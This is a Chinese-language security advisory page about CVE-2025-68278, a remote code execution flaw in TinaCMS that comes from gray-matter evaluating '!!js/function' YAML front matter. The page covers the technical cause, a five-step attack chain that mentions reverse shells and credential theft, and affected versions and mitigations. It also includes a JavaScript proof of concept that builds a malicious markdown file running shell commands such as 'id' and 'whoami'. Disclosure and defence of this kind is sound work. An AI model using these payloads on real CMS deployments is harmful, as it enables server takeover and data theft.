IPBUF安全漏洞报告
English
CVE-2025-68278 CVSS 8.8 高危

CVE-2025-68278: TinaCMS gray-matter远程代码执行漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2025-68278
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
tinacms, @tinacms/cli, @tinacms/graphql

相关标签

远程代码执行RCEgray-matterTinaCMSNode.jsMarkdownYAML注入内容管理系统JavaScript注入

漏洞概述

CVE-2025-68278是TinaCMS内容管理系统中的一个高危远程代码执行漏洞。TinaCMS是一个无头内容管理系统(Headless CMS),被广泛应用于静态网站生成和内容管理场景。该漏洞源于tinacms在3.1.1版本之前不安全地使用了gray-matter包进行Markdown文件解析。gray-matter是一个用于解析YAML front matter的流行工具,但它在处理包含JavaScript代码的front matter时存在安全隐患。攻击者可以通过控制Markdown文件的内容(例如博客文章),在文件被TinaCMS处理时注入并执行任意代码。由于该系统通常用于管理网站内容,攻击者成功利用此漏洞可能导致服务器完全沦陷、敏感数据泄露或网站被篡改。漏洞的CVSS评分为8.8,属于高危级别,攻击复杂度低,无需认证即可发起攻击,但需要一定的用户交互(如诱使管理员预览或发布恶意内容)。

技术细节

该漏洞的核心问题在于gray-matter包在解析Markdown文件的YAML front matter时,会将包含特定语法的内容作为JavaScript代码执行。gray-matter支持通过`!!js/function`或`!!js/code`标签来声明JavaScript函数或代码块,当解析器遇到这些标签时,会使用Function构造函数将字符串内容转换为可执行代码。攻击者可以在Markdown文件的front matter中注入恶意JavaScript代码,格式如下:---
title: Test
js_code: !!js/function |
function(){ require('child_process').exec('malicious_command')() }
---
当TinaCMS调用gray-matter解析此文件时,注入的代码会在服务器端执行。由于tinacms在处理Markdown文件(如博客文章)时调用了gray-matter,攻击者只需上传或提交包含恶意代码的Markdown文件即可实现RCE。漏洞的利用需要攻击者能够控制目标系统处理的Markdown文件内容,这可能通过博客评论、内容提交功能或直接访问文件系统实现。修复后的版本(tinacms 3.1.1、@tinacms/cli 2.0.4、@tinacms/graphql 2.0.3)移除了对危险JS标签的支持或增加了安全过滤机制。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者识别目标网站是否使用TinaCMS及其版本。可以通过检查页面源码、HTTP响应头或robots.txt文件获取信息。确认版本小于3.1.1则存在漏洞。
STEP 2
步骤2: 制作恶意Markdown文件
攻击者构造包含恶意JavaScript代码的Markdown文件。在YAML front matter中使用!!js/function或!!js/code标签注入代码,代码内容为Node.js命令执行逻辑。
STEP 3
步骤3: 上传或提交恶意内容
通过TinaCMS的内容管理接口(如博客编辑、页面创建功能)上传恶意Markdown文件。攻击者需要获得编辑权限或利用无需认证的内容提交功能。
STEP 4
步骤4: 触发漏洞执行
当TinaCMS处理该Markdown文件时(如预览、发布或静态生成),gray-matter包会解析front matter,遇到!!js/标签时使用Function构造函数将字符串转换为可执行函数并调用,导致任意代码在服务器端执行。
STEP 5
步骤5: 维持访问与数据窃取
成功执行代码后,攻击者可以反弹Shell、窃取数据库凭证、读取环境变量获取敏感信息(如API密钥、云服务凭证),或进一步横向移动攻击内网其他系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-68278 PoC - TinaCMS gray-matter Remote Code Execution // Create a malicious markdown file with embedded JavaScript code const fs = require('fs'); const maliciousMarkdown = `--- title: Malicious Post author: Attacker date: 2025-01-01 payload: !!js/function | function(){ const { execSync } = require('child_process'); // Execute arbitrary command const result = execSync('id > /tmp/pwned.txt').toString(); return result; } --- # Normal Content This is a legitimate blog post content. `; // Write the malicious file to be processed by TinaCMS fs.writeFileSync('malicious-post.md', maliciousMarkdown); console.log('Malicious markdown file created: malicious-post.md'); // Alternative PoC using gray-matter directly const matter = require('gray-matter'); const exploitContent = `--- code: !!js/function "function(){require('child_process').exec('whoami')()}" --- `; try { const result = matter(exploitContent); console.log('Exploit executed! Result:', result); } catch (e) { console.log('Error during exploitation:', e.message); } // Note: This PoC demonstrates the vulnerability principle. // Real exploitation requires uploading the markdown file to a vulnerable TinaCMS instance.

影响范围

tinacms < 3.1.1
@tinacms/cli < 2.0.4
@tinacms/graphql < 2.0.3

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制用户提交Markdown内容的权限,仅允许受信任的管理员编辑;2) 在内容提交接口增加输入过滤,拒绝包含!!js/标签的内容;3) 使用WAF规则拦截可疑的YAML语法;4) 对处理Markdown文件的服务进行网络隔离,限制其执行系统命令的权限;5) 启用内容安全策略(CSP)并监控异常请求。建议尽快完成版本升级以彻底消除该安全风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表